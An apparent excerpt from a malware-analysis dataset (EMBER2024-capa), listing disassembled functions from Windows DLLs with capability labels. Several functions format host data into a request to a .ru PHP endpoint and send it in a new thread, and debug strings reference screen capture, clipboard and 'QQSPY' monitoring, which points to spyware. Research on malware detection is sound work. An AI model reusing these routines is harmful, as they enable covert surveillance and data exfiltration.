joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001660
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 0
je 0x100017d9
mov ecx, dword [0x10004368]
cmp byte [ecx + 0x81], 0
je 0x100017d9
cmp dword [ecx + 0x2c], 1
je 0x10001693
cmp dword [ecx + 0x2c], 3
jne 0x100017d9
mov eax, dword [ecx + 0x24]
push ebx
push esi
push edi
mov eax, dword [eax + 0x4d]
mov dword [ebp - 8], eax
movzx eax, word [ecx + 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
dec eax
je 0x1000175c
dec eax
je 0x1000172b
dec eax
je 0x10001703
dec eax
jne 0x100016ef
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x100016d5
mov edi, dword [edi + 0x12]
jmp 0x100016d8
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x30]
jmp 0x1000178b
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001723
mov edi, dword [edi + 0x2f22]
jmp 0x100016d8
add edi, 0x2f22
jmp 0x100016d8
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001745
mov edi, dword [edi + 6]
jmp 0x10001748
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x1c]
jmp 0x1000178b
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001776
mov edi, dword [edi + 0xa]
jmp 0x10001779
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.16929
mov esi, eax
push dword [ebp - 8]
mov eax, dword [ebp - 0xc]
movzx ecx, ax
push ecx
push edi
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_ws_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100017df
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
movzx ecx, ax
cmp ecx, 0xffff
jne 0x10001959
cmp byte [0x100043e7], 0
je 0x10001945
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x100018c4
dec eax
je 0x10001890
dec eax
je 0x10001868
dec eax
jne 0x10001851
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001834
mov edi, dword [edi + 0x12]
jmp 0x10001837
add edi, 0x12
lea eax, [ecx + 0x131]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x100018f6
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001888
mov edi, dword [edi + 0x2f22]
jmp 0x10001837
add edi, 0x2f22
jmp 0x10001837
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x100018aa
mov edi, dword [edi + 6]
jmp 0x100018ad
add edi, 6
lea eax, [ecx + 0x11d]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x221]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x100018f6
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x100018de
mov edi, dword [edi + 0xa]
jmp 0x100018e1
add edi, 0xa
lea eax, [ecx + 0x121]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x225]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.16929
mov esi, eax
push 0x100043ec
push 0x270f
push edi
push dword [ebp + 8]
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
mov byte [0x100043e7], 0
mov byte [0x100043ec], 0
mov esp, ebp
pop ebp
ret 4
cmp ecx, 0x8ff
jg 0x10001953
mov eax, dword [0x10004370]
cmp eax, 3
je 0x1000198d
cmp eax, 4
je 0x1000198d
cmp eax, 2
mov eax, dword [0x10004378]
jne 0x10001982
mov eax, dword [eax + 0x3c5]
jmp 0x10001998
mov eax, dword [eax + 0x3cd]
mov eax, dword [eax + 0x10]
jmp 0x1000199b
mov eax, dword [0x10004378]
mov eax, dword [eax + 0x3de]
mov eax, dword [eax + 0x20]
cmp dword [eax + ecx*4], 0
je 0x10001953
mov eax, dword [eax + ecx*4 + 0x2400]
mov dl, byte [eax]
test dl, dl
je 0x10001953
cmp byte [eax + 1], 0
jne 0x10001953
mov cl, byte [0x100043e7]
cmp cl, 0xa
jae 0x10001953
movzx eax, cl
inc cl
mov byte [0x100043e7], cl
mov byte [eax + 0x100043ec], dl
movzx eax, cl
cmp eax, 0xb
jae 0x100019e4
mov byte [eax + 0x100043ec], 0
jmp 0x10001953
call fcn.100023fa
int3
Function at 0x100019ea
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push str._log
push dword [0x1000437c]
call dword [sym.imp.MSVCR120.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x10001b47
mov eax, dword [0x1000437c]
push ebx
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x10001acc
dec eax
je 0x10001a9b
dec eax
je 0x10001a73
dec eax
jne 0x10001a5f
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001a45
mov edi, dword [edi + 0x12]
jmp 0x10001a48
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x10001afb
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001a93
mov edi, dword [edi + 0x2f22]
jmp 0x10001a48
add edi, 0x2f22
jmp 0x10001a48
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001ab5
mov edi, dword [edi + 6]
jmp 0x10001ab8
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001ae6
mov edi, dword [edi + 0xa]
jmp 0x10001ae9
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.16929
mov esi, eax
push dword [ebp - 0xc]
push 0x194
push edi
push ebx
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001b4b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x10004400]
cmp dword [ecx], 0
jle 0x10001c43
mov eax, dword [ecx + 0xc]
cmp byte [eax], 0xd7
jne 0x10001c43
and dword [ebp - 0x28], 0
lea eax, [ebp - 0x28]
push edi
push eax
lea edx, [ebp - 0x24]
call section..text
mov edi, dword [ebp - 0x28]
pop ecx
test edi, edi
je 0x10001c42
push ebx
xor ebx, ebx
test edi, edi
jle 0x10001c41
movzx eax, ax
mov dword [ebp - 0x38], eax
push esi
cmp dword [0x10004370], 3
jne 0x10001bee
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov eax, dword [eax + 8]
cmp dword [eax + 0x2f32], 0xf
jle 0x10001bce
mov eax, dword [eax + 0x2f22]
jmp 0x10001bd3
add eax, 0x2f22
mov dword [ebp - 0x28], eax
lea eax, [ecx + 0x131]
mov dword [ebp - 0x2c], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 0x34], eax
lea eax, [ecx + 0x30]
mov dword [ebp - 0x30], eax
push 0x400
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.16929
mov esi, eax
push dword [ebp + ebx*4 - 0x24]
push dword [ebp - 0x38]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
inc ebx
cmp ebx, edi
jl 0x10001ba5
pop esi
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100022b3
mov esp, ebp
pop ebp
ret

Function at 0x10002154
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100043f7], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
je 0x100021ac
mov edi, str.16929
xor esi, esi
push edi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x100021ac
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push esi
push esi
push 0x10001cf5
mov dword [0x10004390], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100021c5
mov esi, 0x100033e4
lea eax, [ebp - 0x108]
push 0x100033f0
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100022b3
mov esp, ebp
pop ebp
ret 4
Function at 0x10002205
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x100022ac
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push str.Wininet
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenA
push eax
mov dword [0x100043f8], eax
call esi
push str.InternetOpenUrlA
push dword [0x100043f8]
mov dword [0x10004380], eax
call esi
push str.InternetCloseHandle
push dword [0x100043f8]
mov dword [0x10004384], eax
call esi
cmp byte [0x100043f7], 0
mov dword [0x10004388], eax
mov dword [0x10004374], edi
jne 0x100022aa
mov edi, str.16929
xor esi, esi
push edi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x100022aa
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push esi
push esi
push 0x10001cf5
mov dword [0x10004390], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
pop edi
pop esi
xor eax, eax
inc eax
pop ebp
ret 0xc
Function at 0x10001260
Capabilities:
Create thread
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100012cd
cmp dword [ebp - 4], 1
je 0x1000129a
cmp dword [ebp - 4], 6
je 0x10001287
jmp 0x100012d8
cmp dword [ebp + 0x10], 0
je 0x10001298
mov ecx, dword [ebp + 0x10]
mov edx, dword [0x10065614]
mov dword [ecx], edx
jmp 0x100012d8
push str._SyDbgOut__QQSPY_DllMain::DLL_PROCESS_ATTACH
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp + 8]
mov dword [0x10065614], eax
push 0
push 0
push 0
push 0x1000a2b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100012d8
push str._SyDbgOut__QQSPY_DllMain::DLL_PROCESS_DETACH
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10003c20
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004f036
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1444
call fcn.100243b0
mov eax, dword [0x100623f0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x10059590
lea ecx, [ebp - 0x1430]
call fcn.1000a4c0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1454]
push eax
call fcn.10003b40
add esp, 4
mov dword [ebp - 0x143c], eax
mov ecx, dword [ebp - 0x143c]
mov dword [ebp - 0x1438], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x1438]
push edx
lea ecx, [ebp - 0x1430]
call fcn.1000a640
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1454]
call fcn.1000a600
push 0x1005959c
lea ecx, [ebp - 0x1430]
call fcn.1000a660
cmp dword [ebp + 8], 1
jne 0x10003cdb
push str._CaptureScreen_
lea ecx, [ebp - 0x1430]
call fcn.1000a660
jmp 0x10003d38
cmp dword [ebp + 8], 2
jne 0x10003cf3
push 0x100595b0
lea ecx, [ebp - 0x1430]
call fcn.1000a660
jmp 0x10003d38
cmp dword [ebp + 8], 3
jne 0x10003d0b
push 0x100595bc
lea ecx, [ebp - 0x1430]
call fcn.1000a660
jmp 0x10003d38
cmp dword [ebp + 8], 4
jne 0x10003d38
push 0x100595cc
lea ecx, [ebp - 0x1430]
call fcn.1000a660
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1430]
call fcn.1000a600
jmp 0x10003e05
mov byte [ebp - 4], 2
mov byte [ebp - 0x1418], 0
push 0x1400
push 0
lea eax, [ebp - 0x1417]
push eax
call fcn.1001e410
add esp, 0xc
mov dword [ebp - 0x1434], 0
lea ecx, [ebp + 0x10]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp - 0x1434]
push edx
mov eax, dword [ebp + 0xc]
push eax
push 0x1400
lea ecx, [ebp - 0x1418]
push ecx
call fcn.10017add
add esp, 0x10
push 0x100595d4
lea edx, [ebp - 0x1418]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x1434], 0
lea eax, [ebp - 0x1418]
push eax
lea ecx, [ebp - 0x1430]
call fcn.1000a660
jmp 0x10003dd1
mov dword [ebp - 4], 0
jmp 0x10003de1
lea ecx, [ebp - 0x1430]
call fcn.1000a790
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1430]
call fcn.1000a600
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10015edb
mov esp, ebp
pop ebp
ret
Function at 0x10003e30
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004f076
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x2844
call fcn.100243b0
mov eax, dword [0x100623f0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push str._SyDbgOut__
lea ecx, [ebp - 0x2830]
call fcn.1000b1d0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x2854]
push eax
call fcn.10003bb0
add esp, 4
mov dword [ebp - 0x283c], eax
mov ecx, dword [ebp - 0x283c]
mov dword [ebp - 0x2838], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x2838]
push edx
lea ecx, [ebp - 0x2830]
call fcn.1000b350
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2854]
call fcn.1000b310
push 0x100595fc
lea ecx, [ebp - 0x2830]
call fcn.1000b370
cmp dword [ebp + 8], 1
jne 0x10003eeb
push 0x10059600
lea ecx, [ebp - 0x2830]
call fcn.1000b370
jmp 0x10003f48
cmp dword [ebp + 8], 2
jne 0x10003f03
push str._Clipboard_
lea ecx, [ebp - 0x2830]
call fcn.1000b370
jmp 0x10003f48
cmp dword [ebp + 8], 3
jne 0x10003f1b
push str._PrintMonitor_
lea ecx, [ebp - 0x2830]
call fcn.1000b370
jmp 0x10003f48
cmp dword [ebp + 8], 4
jne 0x10003f48
push str._QQSPY_
lea ecx, [ebp - 0x2830]
call fcn.1000b370
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2830]
call fcn.1000b310
jmp 0x10004017
mov byte [ebp - 4], 2
xor eax, eax
mov word [ebp - 0x2818], ax
push 0x2800
push 0
lea ecx, [ebp - 0x2816]
push ecx
call fcn.1001e410
add esp, 0xc
mov dword [ebp - 0x2834], 0
lea edx, [ebp + 0x10]
mov dword [ebp - 0x2834], edx
mov eax, dword [ebp - 0x2834]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0x1400
lea edx, [ebp - 0x2818]
push edx
call fcn.100179ed
add esp, 0x10
push 0x10059668
lea eax, [ebp - 0x2818]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 0x2834], 0
lea ecx, [ebp - 0x2818]
push ecx
lea ecx, [ebp - 0x2830]
call fcn.1000b370
jmp 0x10003fe3
mov dword [ebp - 4], 0
jmp 0x10003ff3
lea ecx, [ebp - 0x2830]
call fcn.1000b410
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2830]
call fcn.1000b310
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10015edb
mov esp, ebp
pop ebp
ret
Function at 0x10004040
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004f0ab
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x100623f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x134], 0
mov byte [ebp - 0x118], 0
push 0x104
push 0
lea eax, [ebp - 0x117]
push eax
call fcn.1001e410
add esp, 0xc
lea ecx, [ebp - 0x118]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 1
imul eax, edx, 3
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x105
jae 0x100040c0
jmp 0x100040c5
call fcn.10017d03
mov ecx, dword [ebp - 0x138]
mov byte [ebp + ecx - 0x118], 0
lea edx, [ebp - 0x118]
push edx
lea ecx, [ebp - 0x130]
call fcn.1000a4c0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x130]
call fcn.1000a7f0
movzx eax, al
test eax, eax
je 0x1000410e
push 0x100597b0
lea ecx, [ebp - 0x130]
call fcn.1000a620
lea ecx, [ebp - 0x130]
push ecx
mov ecx, dword [ebp + 8]
call fcn.1000a500
mov edx, dword [ebp - 0x134]
or edx, 1
mov dword [ebp - 0x134], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.1000a600
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10015edb
mov esp, ebp
pop ebp
ret

Function at 0x10004a10
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x100623f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x430], 0
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x42c], 0
push 0x424
push 0
lea eax, [ebp - 0x428]
push eax
call fcn.1001e410
add esp, 0xc
push 0
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0xffffffff
je 0x10004aeb
mov dword [ebp - 0x42c], 0x428
lea ecx, [ebp - 0x42c]
push ecx
mov edx, dword [ebp - 0x434]
push edx
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0
je 0x10004ade
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x40c]
push ecx
call fcn.100049f0
add esp, 8
test eax, eax
je 0x10004ac2
mov edx, dword [ebp - 0x41c]
mov dword [ebp - 0x430], edx
jmp 0x10004ade
lea eax, [ebp - 0x42c]
push eax
mov ecx, dword [ebp - 0x434]
push ecx
call dword [sym.imp.KERNEL32.dll_Module32NextW]
mov dword [ebp - 0x438], eax
jmp 0x10004a94
mov edx, dword [ebp - 0x434]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x430], 1
ja 0x10004af6
jmp 0x10004b11
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x430]
sub ecx, 1
mov dword [ebp - 0x430], ecx
jne 0x10004aeb
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
Function at 0x1000e750
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004fd28
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x100623f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x40], 0
je 0x1000e790
mov ecx, dword [ebp - 0x30]
movzx edx, byte [ecx + 0x45]
test edx, edx
jne 0x1000e79c
mov al, 1
jmp 0x1000e93f
mov dword [ebp - 0x54], 8
call fcn.100017c0
push eax
mov eax, dword [ebp - 0x30]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x30]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x40], eax
call fcn.100017c0
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x44]
push edx
call fcn.10001740
add esp, 8
movzx eax, al
test eax, eax
je 0x1000e7df
xor al, al
jmp 0x1000e93f
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.1000cec0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x58]
push edx
lea ecx, [ebp - 0x28]
call fcn.1000a700
mov ecx, eax
call fcn.1000e510
mov esi, eax
lea ecx, [ebp - 0x28]
call fcn.1000a7d0
add esi, eax
push esi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x28]
call fcn.1000a700
mov ecx, eax
call fcn.1000e510
push eax
mov ecx, dword [ebp - 0x30]
add ecx, 0x48
push ecx
mov edx, dword [ebp - 0x30]
mov ecx, dword [edx + 0x40]
call fcn.10010130
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x1000e85a
cmp dword [ebp - 0x3c], 1
je 0x1000e861
cmp dword [ebp - 0x3c], 3
je 0x1000e8fb
jmp 0x1000e913
mov eax, dword [ebp - 0x30]
mov byte [eax + 0x45], 0
lea ecx, [ebp - 0x4c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.1000a700
mov ecx, eax
call fcn.1000e510
mov edx, dword [ebp - 0x2c]
sub edx, eax
mov dword [ebp - 0x38], edx
je 0x1000e8c4
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x38]
push edx
push 1
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x28]
call fcn.1000a700
mov ecx, eax
call fcn.1000e510
push eax
call fcn.10017fb7
add esp, 0x10
cmp dword [ebp - 0x38], eax
je 0x1000e8c4
mov byte [ebp - 0x34], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a600
mov al, byte [ebp - 0x34]
jmp 0x1000e93f
mov ecx, dword [ebp - 0x30]
movzx edx, byte [ecx + 0x45]
test edx, edx
jne 0x1000e8e7
mov byte [ebp - 0x31], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a600
mov al, byte [ebp - 0x31]
jmp 0x1000e93f
cmp dword [ebp - 0x38], 0
jne 0x1000e8f9
push 0
push 8
lea ecx, [ebp - 0x28]
call fcn.1000d0f0
jmp 0x1000e92b
mov byte [ebp - 0x33], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a600
mov al, byte [ebp - 0x33]
jmp 0x1000e93f
mov byte [ebp - 0x32], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.1000a600
mov al, byte [ebp - 0x32]
jmp 0x1000e93f
jmp 0x1000e7f2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10015edb
mov esp, ebp
pop ebp
ret